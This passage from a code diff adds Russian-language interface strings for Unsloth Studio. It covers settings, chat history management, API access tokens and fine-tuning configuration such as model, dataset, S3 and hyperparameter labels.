+        placeholder: "Название чата",
+      },
+      renameRun: {
+        title: "Переименовать запуск",
+        placeholder: "Название запуска",
+      },
+    },
+    toast: {
+      cannotDeleteRunningRun: "Нельзя удалить выполняющийся запуск обучения",
+      failedToDeleteChat: "Не удалось удалить чат",
+      failedToDeleteRun: "Не удалось удалить запуск",
+      failedToRenameChat: "Не удалось переименовать чат",
+      failedToRenameRun: "Не удалось переименовать запуск",
+    },
+  },
+  settings: {
+    title: "Настройки",
+    dialog: {
+      title: "Настройки",
+      description: "Управление настройками Unsloth.",
+      closeAriaLabel: "Закрыть настройки",
+    },
+    tabs: {
+      general: "Общие",
+      profile: "Профиль",
+      appearance: "Оформление",
+      resources: "Система",
+      chat: "Чат",
+      connections: "Подключения",
+      apiKeys: "API",
+      about: "О программе",
+    },
+    general: {
+      title: "Общие",
+      description: "Глобальные настройки Unsloth.",
+      account: "Аккаунт",
+      huggingFaceToken: "Токен Hugging Face",
+      huggingFaceTokenDescription:
+        "Используется для загрузки закрытых моделей и публикации артефактов.",
+      hideToken: "Скрыть токен",
+      showToken: "Показать токен",
+      tokenValidated: "Токен проверен",
+      password: "Пароль",
+      passwordDescription: "Изменить пароль для этого аккаунта Unsloth.",
+      passwordDialog: {
+        trigger: "Изменить пароль",
+        title: "Изменить пароль",
+        description:
+          "Введите текущий пароль и выберите новый (не менее {minLength} символов).",
+        currentPassword: "Текущий пароль",
+        newPassword: "Новый пароль",
+        confirmPassword: "Подтвердите новый пароль",
+        currentTooShort:
+          "Текущий пароль должен содержать не менее {minLength} символов.",
+        newTooShort: "Новый пароль должен содержать не менее {minLength} символов.",
+        mismatch: "Пароли не совпадают.",
+        samePassword:
+          "Новый пароль должен отличаться от текущего.",
+        update: "Обновить пароль",
+        updating: "Обновление...",
+        updated: "Пароль обновлён.",
+        updateFailed: "Не удалось обновить пароль.",
+      },
+      chatDefaults: "Настройки чата по умолчанию",
+      autoTitleNewChats: "Автоматически называть новые чаты",
+      autoTitleNewChatsDescription:
+        "Создавать короткое название по первому сообщению.",
+      helperLlm: {
+        sectionTitle: "Вспомогательная LLM",
+        preloadOnStartup: "Предзагружать вспомогательную LLM при запуске",
+        preloadOnStartupDescription:
+          "Загружать вспомогательную модель AI Assist в фоне при запуске. По умолчанию выключено; AI Assist всё равно может загрузить её по запросу.",
+        disabledByEnv:
+          "Отключено переменной UNSLOTH_HELPER_MODEL_DISABLE в окружении бэкенда.",
+        loadError: "Не удалось загрузить настройки вспомогательной LLM.",
+        saveError: "Не удалось сохранить настройки вспомогательной LLM.",
+      },
+      modelAutoSwitch: {
+        sectionTitle: "Автопереключение модели (OpenAI API)",
+        enable: "Переключать модель по запросу",
+        enableDescription:
+          "Когда OpenAI-совместимый запрос указывает другую загруженную GGUF, загружать её перед обслуживанием. По умолчанию выключено; неизвестные имена продолжают обслуживать загруженную модель.",
+        idleUnload: "Автовыгрузка при простое",
+        idleUnloadDescription:
+          "Выгружать модель после указанного числа секунд простоя, чтобы освободить VRAM; следующий запрос загрузит её снова. 0 оставляет модель загруженной. Минимум 60 секунд.",
+        idleNeedsEnable:
+          "Включите «Переключать модель по запросу», чтобы выгруженная модель загружалась при следующем использовании.",
+        idleActiveViaEnv:
+          "Автовыгрузка при простое активна через переменную окружения UNSLOTH_MODEL_IDLE_TTL.",
+        loadError: "Не удалось загрузить настройки автопереключения модели.",
+        saveError: "Не удалось сохранить настройки автопереключения модели.",
+        idleError: "Введите 0, чтобы модель оставалась загруженной, или не менее 60 секунд.",
+      },
+      previewSharing: {
+        sectionTitle: "Публикация предпросмотра",
+        enableLabel: "Публичные ссылки предпросмотра",
+        enableDescription:
+          "Позволяет любому по подписанной ссылке общаться с готовой моделью без входа в систему. Отключите, чтобы закрыть публичный предпросмотр; общие ссылки перестанут работать.",
+        loadError: "Не удалось загрузить настройки публикации предпросмотра.",
+        saveError: "Не удалось сохранить настройки публикации предпросмотра.",
+        revokeLabel: "Отозвать все ссылки предпросмотра",
+        revokeDescription:
+          "Сменить секрет подписи, чтобы все опубликованные ссылки перестали работать. Ссылки, скопированные заново, продолжат работать.",
+        revokeAction: "Отозвать ссылки",
+        revoking: "Отзыв...",
+        revokeConfirmTitle: "Отозвать все ссылки предпросмотра?",
+        revokeConfirmDescription:
+          "Все опубликованные ссылки предпросмотра немедленно перестанут работать. Это действие нельзя отменить.",
+        revokeConfirmAction: "Отозвать все ссылки",
+        revoked: "Все ссылки предпросмотра отозваны",
+        revokeError: "Не удалось отозвать ссылки предпросмотра",
+      },
+      notifications: {
+        sectionTitle: "Уведомления",
+        showLlamaUpdates: "Уведомления об обновлениях llama.cpp",
+        showLlamaUpdatesDescription:
+          "Уведомлять о доступности новой сборки llama.cpp для запуска новых моделей. Отключите, если вы только обучаете модели.",
+      },
+      gettingStarted: "Начало работы",
+      startOnboarding: "Запустить онбординг",
+      startOnboardingDescription:
+        "Снова открыть мастер настройки, не изменяя ваш аккаунт.",
+      startOnboardingAction: "Запустить онбординг",
+      uploads: {
+        sectionTitle: "Загрузки",
+        maxUploadSize: "Лимит загрузки датасета для обучения",
+        maxUploadSizeDescription: "По умолчанию {defaultSize} МБ.",
+      },
+      rag: {
+        sectionTitle: "Документы и RAG",
+        embeddingModel: "Модель эмбеддингов",
+        embeddingModelDescription:
+          "Модель Hugging Face или локальный путь для индексации и поиска по вашим документам. По умолчанию {defaultModel}.",
+        reindexWarning:
+          "Влияет только на вновь индексируемые документы. После смены модели загрузите существующие документы заново.",
+        emptyError: "Введите ID модели Hugging Face или локальный путь.",
+        loadError: "Не удалось загрузить настройку модели эмбеддингов.",
+        saveError: "Не удалось сохранить модель эмбеддингов.",
+        saved: "Модель эмбеддингов сохранена.",
+        saveAnyway: "Всё равно сохранить",
+        resetAction: "Сбросить к умолчанию",
+      },
+      storage: {
+        sectionTitle: "Хранилище",
+        modelsFolder: "Папка моделей",
+        modelsFolderDescription: "Где хранятся загруженные модели.",
+        openAction: "Открыть",
+        copyAction: "Копировать путь",
+        copied: "Путь скопирован",
+        openError: "Не удалось открыть папку",
+        copyError: "Не удалось скопировать путь",
+      },
+      resetPreferences: {
+        sectionTitle: "Опасная зона",
+        label: "Сбросить все локальные настройки",
+        description:
+          "Очищает только локальные настройки. Чаты, доступ по API и настройки в базе данных сохраняются.",
+        action: "Сбросить настройки",
+        confirmTitle: "Сбросить все локальные настройки?",
+        confirmDescription:
+          "Очищает только локальные настройки и перезагружает Unsloth. Чаты, доступ по API и настройки в базе данных сохраняются.",
+        confirmAction: "Сбросить и перезагрузить",
+      },
+    },
+    profile: {
+      title: "Профиль",
+      description: "Как ваш профиль отображается в Unsloth.",
+      changePicture: "Изменить фото профиля",
+      displayName: "Отображаемое имя",
+      nickname: "Как Unsloth к вам обращаться?",
+      nicknamePlaceholder: "Псевдоним",
+      nicknameSaved: "Предпочитаемое имя сохранено",
+      avatarShape: "Форма фото профиля",
+      avatarShapeCircle: "Круг",
+      avatarShapeRounded: "Скруглённый",
+      chooseSloth: "Или выберите ленивца",
+      nameSaved: "Имя профиля сохранено",
+      namePersistErrorTitle: "Не удалось сохранить имя профиля",
+      namePersistErrorDescription:
+        "Имя обновлено для этой сессии, но может не сохраниться после перезагрузки.",
+      photoUpdated: "Фото профиля обновлено",
+      photoPersistErrorTitle: "Не удалось сохранить фото профиля",
+      photoPersistErrorDescription:
+        "Фото обновлено для этой сессии, но может не сохраниться после перезагрузки.",
+      photoUpdateErrorTitle: "Не удалось обновить фото профиля",
+      imageUseError: "Не удалось использовать это изображение.",
+    },
+    appearance: {
+      title: "Оформление",
+      description: "Как Unsloth Studio выглядит на этом устройстве.",
+      theme: {
+        title: "Тема",
+        label: "Цветовая схема",
+        description: "Светлая, тёмная или как в системе.",
+        system: "Системная",
+        light: "Светлая",
+        dark: "Тёмная",
+      },
+      language: {
+        title: "Язык",
+        label: "Язык интерфейса",
+        description: "Язык, используемый Unsloth.",
+        autoDetect: "Автоопределение",
+      },
+      layout: {
+        title: "Макет",
+        compactSidebar: "Закреплять боковую панель по умолчанию",
+        compactSidebarDescription:
+          "Держать боковую панель развёрнутой, а не свёрнутой в значки.",
+      },
+    },
+    resources: {
+      title: "Система",
+      description: "Мониторинг оборудования и хранилища этого сервера Unsloth.",
+      liveUpdates: "Обновления в реальном времени",
+      floatingWindow: "Плавающее окно",
+      disableOverlay: "Отключить оверлей",
+      liveMonitor: {
+        title: "Монитор в реальном времени",
+        cpu: "CPU",
+        ram: "RAM",
+        disk: "Диск",
+        vram: "VRAM",
+        cpuCores: "{logical} логич. / {physical} физич. ядер",
+        currentLoad: "Текущая нагрузка",
+        free: "{value} свободно",
+        noGpu: "GPU не обнаружен",
+      },
+      gpu: {
+        title: "Устройства GPU",
+        noGpu: "Видимый GPU не обнаружен. Выше показаны ресурсы CPU.",
+        unknownDevice: "Неизвестный GPU",
+        deviceWithIndex: "GPU {index}",
+        vramUtilization: "VRAM",
+        used: "{value} использовано",
+        free: "{value} свободно",
+        total: "{value} всего",
+      },
+      storage: {
+        title: "Хранилище",
+        systemDisk: "Системный диск",
+        diskUsage: "{used} использовано / {total}",
+        diskFree: "{free} свободно",
+        modelsFolder: "Папка моделей",
+        modelsFolderDescription: "Где хранятся загруженные модели.",
+        openAction: "Открыть",
+        copyAction: "Копировать путь",
+        copied: "Путь скопирован",
+        openError: "Не удалось открыть папку",
+        copyError: "Не удалось скопировать путь",
+      },
+      environment: {
+        title: "Окружение",
+        backend: "Бэкенд",
+        python: "Python",
+        torch: "Torch",
+        transformers: "Transformers",
+        uptime: "Время работы",
+        processMemory: "Память процесса",
+        notInstalled: "Не установлено",
+        unknown: "Неизвестно",
+      },
+    },
+    chat: {
+      title: "Чат",
+      description: "Управление историей чатов, хранящейся на этом устройстве.",
+      modelDisclaimer: "Показывать оговорку о модели",
+      modelDisclaimerDescription:
+        'Показывать «LLM могут ошибаться» под полем ввода.',
+      artifacts: {
+        title: "Canvas",
+        collapseHtmlBlocks: "Сворачивать блоки HTML",
+        collapseHtmlBlocksDescription:
+          "Режим Canvas автоматически сворачивает полный HTML. Включите, чтобы также сворачивать HTML-документы в блоках кода, когда Canvas выключен.",
+        allowNetworkAccess: "Разрешить сетевой доступ Canvas",
+        allowNetworkAccessDescription:
+          "Позволяет предпросмотрам Canvas загружать скрипты, стили, шрифты, медиа и сетевые ресурсы из CDN. Оставьте выключенным для полностью офлайн-предпросмотров.",
+      },
+      data: "Данные",
+      exportHistory: "Экспортировать историю чатов",
+      exportHistoryDescription: "Скачать все чаты и сообщения в формате JSON.",
+      exportAction: "Экспорт",
+      exportingAction: "Экспорт...",
+      exportConversations: "Экспортировать «Недавние» и проекты",
+      exportConversationsDescription:
+        "Скачать «Недавние» или «Недавние» вместе с чатами проектов в формате Raw JSONL, CSV или ShareGPT JSONL, объединённо или по чатам.",
+      exportConversationsAction: "Экспорт",
+      exportScopeRecents: "Недавние",
+      exportScopeAll: "Недавние + проекты",
+      exportCombinedSuffix: "(объединённо)",
+      exportPerChatSuffix: "(по чатам)",
+      importChats: "Импортировать чаты",
+      importChatsDescription:
+        "Импортировать экспорт JSONL, NDJSON или CSV в «Недавние».",
+      importChatsAction: "Импорт",
+      importNoConversations: "В файле не найдено диалогов.",
+      importedOneChat: "Импортирован 1 диалог в «Недавние».",
+      importedChatCount: "Импортировано диалогов в «Недавние»: {count}.",
+      importFailed: "Импорт не удался.",
+      clearHistory: "Очистить историю чатов",
+      clearHistoryDescription: "Удалить историю чатов с этого устройства.",
+      clearAction: "Очистить",
+      clearAllChats: "Очистить все чаты",
+      clearAllChatsDescription: "Безвозвратно удалить все чаты на этом устройстве.",
+      noChatsToClear: "Нет чатов для очистки.",
+      clearOneChatDescription:
+        "Безвозвратно удалить единственный чат на этом устройстве.",
+      clearChatCountDescription:
+        "Безвозвратно удалить все чаты на этом устройстве: {count}.",
+      clearChatsAction: "Очистить чаты",
+      clearOneChatTitle: "Очистить 1 чат?",
+      clearChatsTitle: "Очистить {count} чатов?",
+      clearChatsConfirmDescription:
+        "Безвозвратно удаляет все чаты на этом устройстве. Это действие нельзя отменить.",
+      clearingAction: "Очистка...",
+      clearOneChatAction: "Очистить 1 чат",
+      clearChatCountAction: "Очистить {count} чатов",
+      clearedAllChats: "Все чаты очищены",
+      clearedOneChat: "Очищен 1 чат",
+      clearedChatCount: "Очищено чатов: {count}",
+      someChatsCouldNotBeCleared: "Некоторые чаты не удалось очистить",
+      chatsClearedRemainOne:
+        "Очищено чатов: {clearedCount}; остался 1 чат. Повторите попытку.",
+      chatsClearedRemain:
+        "Очищено чатов: {clearedCount}; осталось чатов: {remainingCount}. Повторите попытку.",
+      oneChatClearedRemain:
+        "Очищен 1 чат; осталось чатов: {remainingCount}. Повторите попытку.",
+      oneChatClearedRemainOne: "Очищен 1 чат; остался 1 чат. Повторите попытку.",
+      storageClearFailedOne:
+        "Не удалось очистить хранилище; возможно, остался 1 чат. Повторите попытку.",
+      storageClearFailed:
+        "Не удалось очистить хранилище; возможно, осталось чатов: {count}. Повторите попытку.",
+      failedToClearChats: "Не удалось очистить чаты",
+    },
+    connections: {
+      title: "Подключения",
+      description: "Управление провайдерами и внешними подключениями.",
+    },
+    apiKeys: {
+      title: "API",
+      description: "Доступ к Unsloth через OpenAI-совместимый API.",
+      readDocs: "Читать документацию API",
+      noAccess: "Доступа к API пока нет.",
+      accessTokens: "Токены доступа",
+      loadError: "Не удалось загрузить доступ к API.",
+      createError: "Не удалось создать токен доступа.",
+      revokeError: "Не удалось отозвать токен доступа.",
+      never: "Никогда",
+      tokenNamePlaceholder: "Имя токена (например, production)",
+      newAccessTokenName: "Имя нового токена доступа",
+      createToken: "Создать токен",
+      creating: "Создание...",
+      newTokenCreated: "Новый токен доступа создан",
+      accessTokenCopied: "Токен доступа скопирован",
+      copyAccessToken: "Копировать токен доступа",
+      copyNow: "Скопируйте сейчас: он больше не будет показан.",
+      usageExamples: "Примеры использования",
+      usageTools: "Инструменты",
+      exampleCurlTools: "curl + инструменты",
+      examplePythonTools: "Python + инструменты",
+      exampleJavaScriptTools: "JavaScript + инструменты",
+      exampleCurlAdvanced: "curl + расширенное",
+      examplePythonAdvanced: "Python + расширенное",
+      exampleJavaScriptAdvanced: "JavaScript + расширенное",
+      osUnix: "Linux / macOS / WSL",
+      osWindows: "Windows",
+      secureHttps: "Защищённый HTTPS",
+      secureHttpsHint:
+        "Порт 0.0.0.0 по-прежнему доступен глобально. Для полной безопасности запустите Unsloth Studio с флагом --secure, чтобы открыть только эту HTTPS-ссылку.",
+      copyTunnelUrl: "Копировать URL туннеля",
+      copySnippet: "Копировать фрагмент",
+      copy: "Копировать",
+      copied: "Скопировано",
+      setupDocs: "Документация по настройке:",
+      codingAgents: "Кодинг-агенты",
+      codingAgentsHint:
+        "Запустите кодинг-агента к этому серверу. Он использует загруженную модель; локальный сервер выпускает ключ API автоматически, удалённый включает его в команду.",
+      codingAgentsSwap: "Замените claude на codex, openclaw, opencode, hermes или pi.",
+      codingAgentDetected: "Установлен на этой машине",
+      codingAgentsDetectedHint: "Обнаружены на этой машине: {agents}.",
+      relativeNever: "никогда",
+      relativeJustNow: "только что",
+      relativeHoursAgo: "{count} ч назад",
+      relativeDaysAgo: "{count} дн назад",
+      relativeMonthsAgo: "{count} мес назад",
+      relativeYearsAgo: "{count} г назад",
+      expired: "истёк",
+      today: "сегодня",
+      inDays: "через {count} дн",
+      created: "Создан {value}",
+      used: "Использован {value}",
+      expires: "Истекает {value}",
+      actionsFor: "Действия для {name}",
+      copyPrefix: "Копировать префикс",
+      revokeToken: "Отозвать токен",
+      revokeTitle: 'Отозвать токен доступа «{name}»?',
+      revokeDescription:
+        "Приложения, использующие этот токен, немедленно потеряют доступ. Это действие нельзя отменить.",
+      revokeAction: 'Отозвать «{name}»',
+      revoking: "Отзыв...",
+    },
+    about: {
+      title: "О программе",
+      description: "Документация, заметки о выпусках, отзывы и данные сборки.",
+      studioVersion: "Версия Unsloth",
+      packageVersion: "Версия пакета",
+      llamaCppVersion: "Версия llama.cpp",
+      hardware: "Оборудование",
+      gpu: "GPU",
+      cuda: "CUDA",
+      rocm: "ROCm",
+      updates: "Обновление",
+      help: "Справка",
+      documentation: "Документация",
+      releaseNotes: "Заметки о выпуске",
+      whatsNew: "Что нового",
+      feedback: "Отзывы",
+      reportIssue: "Сообщить о проблеме",
+      license: {
+        sectionTitle: "Лицензия",
+        studioLabel: "Unsloth Studio",
+        studioLicense: "AGPL-3.0",
+        studioDescription: "Открытый исходный код под GNU AGPL v3.0.",
+        libraryLabel: "Unsloth Core",
+        libraryLicense: "Apache-2.0",
+        libraryDescription: "Лицензировано под Apache 2.0.",
+      },
+      dangerZone: "Опасная зона",
+      shutDownStudio: "Выключить Unsloth Studio",
+      shutDownStudioDescription:
+        "Останавливает сервер Unsloth и завершает вашу сессию.",
+      shutDown: "Выключить",
+      update: {
+        title: "Обновить Unsloth Studio",
+        commandText: "Текст «{label}»",
+        copied: "Скопировано",
+        copyCommand: "Копировать команду",
+        commandCopied: "«{label}» скопировано",
+        copyNamedCommand: "Копировать «{label}»",
+        checkingInstall: "Проверка способа установки Unsloth...",
+        installIntro: "Чтобы установить или обновить Unsloth:",
+        localUpdateHeading: "Локальное обновление",
+        installCommandUnix: "Команда установки для macOS/Linux",
+        installCommandWindows: "Команда установки для Windows",
+        localInstallDetected:
+          "Обнаружена локальная установка. Обновляйте из исходного checkout, чтобы не заменить его версией с PyPI.",
+        pullThenUpdate:
+          "Загрузите последние изменения, затем запустите локальный установщик:",
+        gitPullCommand: "Команда git pull",
+        localInstallerCommand: "Команда локального установщика",
+        sourceInstallDetected:
+          "Обнаружена установка из исходников или VCS-пакета. Переустановите из исходного локального пути или Git URL.",
+        repoCheckoutFallback:
+          "Если у вас всё ещё есть checkout репозитория, запустите локальный установщик из него:",
+        restartAfterUpdate: "После обновления перезапустите Unsloth.",
+        desktopManaged:
+          "Настольное приложение поддерживает встроенный бэкенд в актуальном состоянии и уведомит о новой версии.",
+        unknownInstall:
+          "Не удалось определить способ установки Unsloth. Для установки через установщик или PyPI используйте команды выше.",
+        localCheckout:
+          "Для установок из локального checkout запустите локальный установщик из него:",
+        docs: "Документация по установке:",
+        docsInstall: "Установка",
+        docsUpdating: "Обновление",
+        docsMac: "Mac",
+        docsWindows: "Windows",
+      },
+    },
+  },
+  studio: {
+    routeTitle: "Обучение",
+    title: "Студия дообучения",
+    subtitles: {
+      configure: "Настройте и запустите обучение",
+      trainingInProgress: "Обучение выполняется",
+      viewPastRuns: "Просмотр прошлых запусков обучения",
+      viewingPastRun: "Просмотр прошлого запуска",
+    },
+    tabs: {
+      configure: "Настройка",
+      currentRun: "Текущий запуск",
+      history: "История",
+    },
+    loadingRuntime: "Загрузка среды обучения...",
+    backToHistory: "Назад к истории",
+    sections: {
+      model: "Модель",
+      dataset: "Датасет",
+      params: "Параметры",
+      training: "Обучение",
+      charts: "Графики",
+      progress: "Прогресс обучения",
+    },
+    configure: {
+      title: "Настройка",
+      description: "Выберите модель, датасет и параметры обучения.",
+      startTraining: "Начать обучение",
+      starting: "Запуск...",
+      loadingModel: "Загрузка модели...",
+      checkingDataset: "Проверка датасета...",
+      trainingConfig: "Конфигурация обучения",
+    },
+    model: {
+      title: "Модель",
+      description: "Выберите базовую модель и метод обучения",
+      fasterTrainingBadge: "Обучение в 2 раза быстрее",
+      baseModel: "Базовая модель",
+      localModel: "Локальная модель",
+      localModelTooltip:
+        "Путь к локально загруженной модели или пользовательскому репозиторию HF.",
+      scanningLocalAndCachedModels: "Сканирование локальных и кэшированных моделей...",
+      scanning: "Сканирование...",
+      scanningLocalModels: "Сканирование локальных моделей...",
+      noLocalModelsFound: "Локальные модели не найдены",
+      noLocalModelsFoundManual: "Локальные модели не найдены. Введите путь вручную.",
+      failedToLoadLocalModels: "Не удалось загрузить локальные модели",
+      hfCache: "Кэш HF",
+      customFolders: "Пользовательские папки",
+      localDir: "Локальный каталог",
+      huggingFaceModel: "Модель Hugging Face",
+      huggingFaceModelTooltip:
+        "Ищите модели Hugging Face или выберите из нашего рекомендованного списка.",
+      searchModels: "Поиск моделей...",
+      searching: "Поиск...",
+      noModelsFound: "Модели не найдены",
+      needsVram: "Требуется ~{vram} ГБ VRAM (GPU: {gpu} ГБ)",
+      tightVram: "~{vram} ГБ VRAM (впритык на {gpu} ГБ)",
+      vramEstimate: "~{vram} ГБ VRAM",
+      method: "Метод",
+      methodTooltip:
+        "QLoRA использует 4-битную квантизацию для минимального VRAM. LoRA использует 16 бит. Full обновляет все веса. CPT (Continued Pretraining) обучает на сыром тексте, чтобы адаптировать модель к новой предметной области без чат-форматирования.",
+      readMore: "Подробнее",
+      fullFineTune: "Полное дообучение",
+      checkingToken: "Проверка токена...",
+      getOrUpdateToken: "Получить или обновить токен",
+      huggingFaceTokenOptional: "Токен Hugging Face (необязательно)",
+      continuedPretraining: "Продолженное предобучение",
+      localModels: "Локальные модели",
+      localModelsFound: "Найдено локальных/кэшированных моделей: {count}",
+      loadingLocalModels: "Загрузка локальных моделей...",
+    },
+    dataset: {
+      title: "Датасет",
+      description: "Выберите или загрузите данные для обучения",
+      source: "Источник датасета",
+      chooseDataset: "Выбрать датасет",
+      chooseDatasetTooltip:
+        "Используйте вкладки во всплывающем окне для переключения между Hugging Face и выводом локальных рецептов.",
+      localTab: "Локальные",
+      searchHuggingFaceDatasets: "Поиск датасетов Hugging Face...",
+      searchLocalDatasets: "Поиск локальных датасетов...",
+      searching: "Поиск...",
+      noDatasetsFound: "Датасеты не найдены",
+      loadingLocalDatasets: "Загрузка локальных датасетов...",
+      failedToLoadLocalDatasets: "Не удалось загрузить локальные датасеты.",
+      noLocalDatasetsYet: "Пока нет локальных датасетов.",
+      noLocalDatasetsMatchSearch: "Нет локальных датасетов по запросу.",
+      openDataRecipes: "Открыть Data Recipes",
+      browsingSource: "Просмотр {browsing}. Текущий выбор остаётся {current}.",
+      localDatasets: "Локальные датасеты",
+      localDataset: "Локальный датасет",
+      localDatasetRows: " / {count} строк",
+      huggingFaceDataset: "Датасет Hugging Face",
+      localDatasetMetadata: "Метаданные локального датасета",
+      dataRecipeOutput: "Вывод Data Recipe.",
+      rows: "Строки",
+      columns: "Столбцы",
+      batches: "Батчи",
+      updated: "Обновлено",
+      evalDataset: "Датасет для оценки",
+      uploading: "Загрузка...",
+      upload: "Загрузить",
+      uploadEvalFile: "Загрузить файл для оценки",
+      evalDatasetDescription:
+        "Необязательно. Если не указан, небольшая часть будет выделена из обучающих данных.",
+      advanced: "Дополнительно",
+      targetFormat: "Целевой формат",
+      targetFormatTooltip:
+        "Формат ваших обучающих данных. Автоопределение работает для большинства датасетов.",
+      auto: "Авто",
+      rawText: "Сырой текст",
+      trainSplitStart: "Начало обучающей выборки",
+      trainSplitStartTooltip:
+        "Обучаться только на подмножестве обучающей выборки, указав индекс начальной строки (включительно, с нуля). Оставьте пустым, чтобы начать с первой строки.",
+      trainSplitEnd: "Конец обучающей выборки",
+      trainSplitEndTooltip:
+        "Индекс последней строки из обучающей выборки (включительно, с нуля). Например, задайте Начало 0 и Конец 99, чтобы обучаться на первых 100 строках. Оставьте пустым, чтобы использовать все оставшиеся строки.",
+      endPlaceholder: "Конец",
+      clear: "Очистить",
+      dropFileOrClick: "Перетащите 1 файл сюда или нажмите для загрузки",
+      viewDataset: "Просмотреть датасет",
+      uploadFailed: "Загрузка не удалась",
+      unknownError: "Неизвестная ошибка",
+      unsupportedFileType: "Неподдерживаемый тип файла",
+      uploadOneFileType: "Загрузите один файл {types}.",
+      datasetUploaded: "Датасет загружен",
+      evalDatasetUploaded: "Датасет для оценки загружен",
+      uploadOneFileAtATime: "Загружайте по одному файлу за раз",
+      uploadSingleFileDescription:
+        "Загрузка датасета для обучения принимает один файл.",
+      checkingToken: "Проверка токена...",
+      getOrUpdateToken: "Получить или обновить токен",
+      preview: "Предпросмотр датасета",
+      split: "Выборка",
+      subset: "Подмножество",
+      s3: {
+        title: "Конфигурация S3",
+        description:
+          "Загрузка датасетов .parquet, .json, .jsonl или .csv из Amazon S3",
+        bucket: "Имя бакета",
+        bucketPlaceholder: "my-training-data-bucket",
+        region: "Регион AWS",
+        regionPlaceholder: "us-east-1",
+        prefix: "Префикс пути",
+        prefixPlaceholder: "datasets/whisper/",
+        prefixTooltip: "Необязательный путь в бакете к файлам вашего датасета",
+        accessKeyId: "Access Key ID",
+        accessKeyIdPlaceholder: "AKIAIOSFODNN7EXAMPLE",
+        secretAccessKey: "Secret Access Key",
+        secretAccessKeyPlaceholder: "Ваш AWS secret access key",
+        useIamRole: "Использовать роль IAM",
+        useIamRoleTooltip:
+          "Использовать учётные данные роли IAM вместо ключей доступа (рекомендуется для EC2/SageMaker)",
+        testConnection: "Проверить подключение",
+        connectionSuccess: "Успешное подключение к бакету S3",
+        connectionFailed: "Не удалось подключиться к бакету S3",
+        comingSoon: "Интеграция с S3 скоро появится",
+        comingSoonDescription:
+          "Загрузка датасетов из S3 требует boto3. Эта функция в разработке.",
+      },
+    },
+    params: {
+      title: "Параметры",
+      description: "Настройте гиперпараметры обучения",
+      projectName: "Название проекта",
+      optional: "Необязательно",
+      projectNameDescription:
+        "Используется в именах папок вывода обучения, значениях экспорта по умолчанию и истории.",
+      loraSettings: "Настройки LoRA",
+      trainingHyperparameters: "Гиперпараметры обучения",
+      maxSteps: "Макс. шагов",
+      epochs: "Эпохи",
+      useMaxSteps: "Использовать макс. шаги",
+      useEpochs: "Использовать эпохи",
+      maxStepsTooltip: "Переопределить общее число шагов оптимизатора.",
+      epochsTooltip: "Количество полных проходов по датасету.",
+      epochsDescription: "Каждая эпоха представляет собой один полный проход по вашему датасету.",
+      maxStepsDescription:
+        "Ограничивает обучение фиксированным числом шагов оптимизатора.",
+      contextLength: "Длина контекста",
+      contextLengthTooltip: "Максимальное число токенов на обучающий образец.",
+      customContextLength: "Введите своё значение",
+      contextLengthDescription: "Макс. длина последовательности для обучающих образцов",
+      learningRate: "Скорость обучения",
+      learningRateTooltip:
+        "Размер шага обновления весов. Меньшие значения обучают медленнее, но стабильнее.",
+      learningRateDescription:
+        "Рекомендуется: 2e-4 для LoRA, 5e-5 для CPT, 2e-5 для полного дообучения",
+      embeddingLearningRate: "Скорость обучения эмбеддингов",
+      embeddingLearningRateTooltip:
+        "Используется только когда CPT обучает embed_tokens. Эмбеддинги легче дестабилизировать, чем веса LoRA, поэтому им обычно нужна меньшая скорость обучения. Оставьте пустым, чтобы использовать lr/10; типичный рабочий диапазон в 2-10 раз меньше основной скорости обучения. Повышайте только если адаптация словаря или доменных токенов идёт слишком медленно.",
+      embeddingLearningRateDescription:
+        "Оставьте пустым, чтобы использовать lr/10 (рекомендуется). Типичный диапазон в 2-10 раз меньше основной скорости обучения.",
+      rank: "Ранг",
+      rankTooltip:
+        "Размерность низкоранговых матриц. Чем выше, тем больше ёмкость.",
+      alpha: "Alpha",
+      alphaTooltip: "Коэффициент масштабирования обновлений LoRA. Обычно 2× ранга.",
+      dropout: "Dropout",
+      dropoutTooltip:
+        "Вероятность dropout для слоёв LoRA для уменьшения переобучения.",
+      visionLayers: "Слои зрения",
+      languageLayers: "Языковые слои",
+      attentionModules: "Модули внимания",
+      mlpModules: "Модули MLP",
+      targetModules: "Целевые модули",
+      enableLora: "Включить LoRA",
+      trainWithLora: "Обучать с LoRA",
+      stableRank: "Стабильный ранг",
+      memoryEfficient: "Экономия памяти",
+      optimization: "Оптимизация",
+      schedule: "Расписание",
+      memory: "Память",
+      optimizer: "Оптимизатор",
+      optimizerTooltip:
+        "Алгоритм оптимизации. 8-битные варианты снижают потребление памяти. Fused рекомендуется для моделей зрения.",
+      lrScheduler: "Планировщик LR",
+      lrSchedulerTooltip:
+        "Как скорость обучения меняется в процессе обучения. Linear убывает равномерно; cosine убывает по кривой.",
+      optimizerOptions: {
+        adamw8bit: "AdamW 8-bit",
+        pagedAdamw8bit: "Paged AdamW 8-bit",
+        adamwBnb8bit: "AdamW BNB 8-bit",
+        pagedAdamw32bit: "Paged AdamW 32-bit",
+        adamwTorch: "AdamW (PyTorch)",
+        adamwTorchFused: "AdamW (PyTorch Fused)",
+      },
+      lrSchedulerOptions: {
+        linear: "Линейный",
+        cosine: "Косинусный",
+      },
+      batchSize: "Размер батча",
+      batchSizeTooltip: "Образцов на шаг. Чем больше, тем больше VRAM.",
+      gradAccum: "Накопление градиента",
+      gradAccumTooltip: "Имитирует больший размер батча без дополнительного VRAM.",
+      weightDecay: "Затухание весов",
+      weightDecayTooltip: "L2-регуляризация для предотвращения переобучения.",
+      warmupSteps: "Шаги прогрева",
+      warmupStepsTooltip:
+        "Постепенно повышать LR в начале обучения для стабильности.",
+      scheduleEpochsTooltip:
+        "Количество полных проходов по датасету. Задайте 0, чтобы работать по макс. шагам.",
+      saveSteps: "Шаги сохранения",
+      saveStepsTooltip: "Сохранять чекпоинт каждые N шагов. 0 для отключения.",
+      evalSteps: "Шаги оценки",
+      evalStepsTooltip:
+        "Доля от общего числа шагов обучения между оценками (0-1). Задайте 0, чтобы отключить оценку. Например, 0.01 = оценка каждый 1% шагов.",
+      seed: "Seed",
+      seedTooltip: "Случайный seed для воспроизводимости.",
+      gradCheckpoint: "Чекпоинт градиента",
+      gradCheckpointTooltip:
+        "Обменять вычисления на память, пересчитывая активации.",
+      none: "Нет",
+      standard: "Стандартный",
+      enablePacking: "Включить packing",
+      assistantCompletionsOnly: "Только ответы ассистента",
+      readMore: "Подробнее",
+    },
+    training: {
+      title: "Обучение",
+      description: "Мониторинг и управление обучением",
+      chartNoDataTitle: "Пока нет данных обучения",
+      chartNoDataDescription: "Начните обучение, чтобы увидеть прогресс loss",
+      startTraining: "Начать обучение",
